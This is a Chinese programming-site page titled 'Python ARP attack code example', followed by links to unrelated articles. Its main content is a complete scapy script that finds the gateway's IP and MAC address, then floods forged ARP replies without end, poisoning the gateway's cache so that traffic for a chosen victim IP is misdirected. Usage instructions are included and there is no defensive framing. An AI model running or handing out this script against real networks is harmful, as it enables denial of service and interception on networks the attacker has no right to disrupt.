python写的ARP攻击代码实例

时间:2023-05-23 19:45:46 

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题


#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103

from scapy.all import ARP,send
import os,re,sys

def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]

def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]

def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)

def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")

def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()

标签:python,ARP攻击
0
投稿

猜你喜欢

  • Python实现动态绘图的示例详解

    2021-07-08 16:44:40
  • mysql创建master/slave详细步骤

    2011-05-21 15:29:00
  • pandas应用实例之pivot函数详解

    2021-02-16 18:33:18
  • Uchome1.2 1.5 代码学习 common.php

    2023-11-15 02:56:10
  • 打包FlaskAdmin程序时关于static路径问题的解决

    2023-01-11 20:01:26
  • php使用ZipArchive函数实现文件的压缩与解压缩

    2023-07-12 20:58:19
  • python 读txt文件,按‘,’分割每行数据操作

    2022-11-11 08:04:17
  • python闭包的实例详解

    2021-03-19 03:25:09
  • Python 不设计 do-while 循环结构的理由

    2021-08-04 11:55:19
  • 教你用eclipse连接mysql数据库

    2024-01-19 23:30:41
  • 浅谈pandas中Dataframe的查询方法([], loc, iloc, at, iat, ix)

    2023-03-09 19:28:59
  • Python运行报错UnicodeDecodeError的解决方法

    2022-03-21 17:21:40
  • Python实现字符串模糊匹配方式

    2023-11-10 09:30:35
  • windows server2016安装MySQL5.7.19解压缩版教程详解

    2024-01-22 01:16:29
  • python内存管理分析

    2022-04-16 22:03:03
  • 在python下实现word2vec词向量训练与加载实例

    2022-06-12 23:49:05
  • python数据可视化Pyecharts库sankey修改桑葚图颜色

    2023-09-04 08:56:13
  • 页面内查找

    2023-07-02 05:25:46
  • PyTorch开源图像分类工具箱MMClassification详解

    2023-11-21 02:20:06
  • 学习ASP.NET八天入门:第四天

    2007-08-07 13:40:00
  • asp之家 网络编程 m.aspxhome.com